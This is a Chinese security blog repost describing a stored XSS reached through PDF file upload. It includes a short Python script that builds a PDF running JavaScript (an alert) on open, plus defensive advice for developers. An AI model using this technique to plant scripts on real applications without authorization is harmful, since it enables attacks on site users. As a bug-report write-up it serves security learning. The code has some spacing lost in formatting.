PDF上传导致的存储型XSS

admin 2024年1月15日13:04:50评论22 views字数 956阅读3分11秒阅读模式

声明:所分享内容是在国外黑客大佬的漏洞报告基础上加工整理,仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,作者不承担相应的后果.

在测试Web应用程序时,发现存在文件上传功能。

尝试上传各种类型的文件,包括PHP文件,因为后端是用PHP编写的。不幸的是,都没有成功。

不过,我还是成功上传了一个PDF文件。认识到这一点,我进行了一些在线研究,发现可以将JavaScript代码注入PDF文件。

所以我需要在PDF文件中注入代码,如果网站没有做必要的检查,我们就有了一个存储型的XSS漏洞。我在网上找不到一个简单的XSS PDF。所以我决定编写一个Python脚本。此Python脚本将一个JavaScript代码嵌入到PDF中,在本例中为 app.alert(1) 。

下面是Python代码:

#<https://github.com/kaanatmacaa>
importsys
ifsys.version_info[0] <3:
   
raiseSystemExit("Use Python 3 (or higher) only")
importio
importbz2
importbase64

defcreate_malpdf1(filename):
   
withopen(filename,"w")asfile:
       file.write(
'''%PDF-1.7
       1 0 obj
       <</Pages 1 0 R /OpenAction 2 0 R>>
       2 0 obj
       <</S /JavaScript /JS (app.alert(1))
       >> trailer <</Root 1 0 R>>'''
)

if__name__ =="__main__":
   
print("Creating PDF files..")
   create_malpdf1(
"test.pdf")
   
print("Done!")

创建PDF文件后,我将其上传到Web应用程序,然后BOOM. 存储XSS成功触发了。

PDF上传导致的存储型XSS

总之,用户和企业通常不会预料到PDF文档中的恶意脚本。开发人员应在其应用程序中对PDF文件实施必要的安全检查。此外,如果应用集成了第三方PDF文件阅读器,应实时更新这些组件。

原文始发于微信公众号(薯条机器猫):PDF上传导致的存储型XSS

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月15日13:04:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PDF上传导致的存储型XSShttp://cn-sec.com/archives/2394503.html

发表评论

匿名网友 填写信息